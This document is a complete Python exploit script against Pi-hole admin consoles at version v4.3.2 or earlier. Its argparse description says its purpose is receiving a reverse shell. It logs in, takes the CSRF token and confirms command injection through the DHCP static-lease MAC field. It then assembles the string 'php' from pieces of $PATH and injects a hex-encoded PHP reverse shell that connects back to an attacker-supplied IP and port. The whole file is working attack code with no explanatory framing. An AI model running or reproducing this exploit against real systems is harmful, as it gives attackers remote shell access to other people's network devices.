import argparse import codecs import re import requests import socket import uuid from packaging import version def login(session, url, password): print('Logging in...') login_error = 'After installing Pi-hole for the first time' data = {'pw': password} try: login_response = session.post(url+'/admin/index.php?login', data=data) except requests.exceptions.ConnectionError: exit('Unable to connect to server') if login_error in login_response.text: print('Login failed') return False else: print('Login succeeded') return True def grab_version(session, url): try: response = session.get(url+'/admin/') except requests.exceptions.ConnectionError: exit('Unable to connect to server') try: version = response.text.split('Web Interface Version ')[1].split('')[0].strip() return version except IndexError: # default to returning a vulnerable version so the script attempts an exploit return 'v4.3.2' def get_token(session, url): try: response = session.get(url+'/admin/settings.php?tab=piholedhcp') except: exit('Unable to connect to server') try: return response.text.split('token\' hidden>')[1].split('')[0] except IndexError: exit('Unable to retrieve CSRF token') def add_dhcp(session, url, payload, token): data = {'AddMAC': payload, 'AddIP': '', 'AddHostname': str(uuid.uuid4()), 'addstatic': '', 'field': 'DHCP', 'token': token} try: return session.post(url+'/admin/settings.php?tab=piholedhcp', data=data).text except requests.exceptions.ConnectionError: exit('Unable to connect to server') def is_vulnerable(session, url, password): print('Attempting to verify if Pi-hole version is vulnerable') if version.parse(grab_version(session, url)) > version.parse('v4.3.2'): return (False, False) else: if not login(session, url, password): exit(-1) print('Grabbing CSRF token') token = get_token(session, url) print('Attempting to read $PATH') test = add_dhcp(session, url, 'aaaaaaaaaaaa$PATH', token) if '/opt/pihole' in test: return (True, True, token) elif 'AAAAAAAAAAAA/' in test: return (True, False) else: return (False, False) def exploit(session, url, payload, token): w = 'W=${PATH#/???/}' p = 'P=${W%%?????:*}' x = 'X=${PATH#/???/??}' h = 'H=${X%%???:*}' z = 'Z=${PATH#*:/??}' r = 'R=${Z%%/*}' hex_payload = ''.join(codecs.encode(c.encode(), 'hex').decode('utf-8').upper() for c in payload) injection = '&&' + w + '&&' + p + '&&' + x + '&&' + h + '&&' + z + '&&' + r + '&&$P$H$P$IFS-$R$IFS\'EXEC(HEX2BIN("' + hex_payload + '"));\'#' print('Sending payload') add_dhcp(session, url, 'bbbbbbbbbbbb' + injection, token) def is_valid_url(url): url_regex = re.compile(r'^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)$') if url_regex.match(url) != None: return True else: return False def is_valid_ipv4_address(address): try: socket.inet_pton(socket.AF_INET, address) except AttributeError: try: socket.inet_aton(address) except socket.error: return False return address.count('.') == 3 except socket.error: return False return True def is_valid_ipv6_address(address): try: socket.inet_pton(socket.AF_INET6, address) except socket.error: return False return True def is_valid_port(port): try: return 1 <= int(port) <= 65535 except ValueError: return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='Receive a reverse shell on a Pi-hole with access to the admin web console') parser.add_argument('url', metavar='url', type=str, help='The URL of the Pi-hole console') parser.add_argument('pw', metavar='password', type=str, help='The admin password for the Pi-hole console') parser.add_argument('ip', metavar='ip', type=str, help='The IP address for the reverse shell to connect to') parser.add_argument('port', metavar='port', type=str, help='The port for the reverse shell to connect to') args = parser.parse_args() if not is_valid_url(args.url): exit('Invalid URL') elif not is_valid_ipv4_address(args.ip) and not is_valid_ipv6_address(args.ip): exit('Invalid IP') elif not is_valid_port(args.port): exit('Invalid port') shell = 'php -r \'$sock=fsockopen("' + args.ip + '",' + args.port + ');exec("/bin/sh -i <&3 >&3 2>&3");\'' s = requests.Session() test = is_vulnerable(s, args.url, args.pw) if test[0]: if test[1]: print('Pihole is vulnerable and served\'s $PATH allows PHP') exploit(s, args.url, shell, test[2]) else: print('Pihole is vulnerable but can\'t build PHP from server\'s $PATH for RCE :(') else: print('Pihole isn\'t vulnerable :(')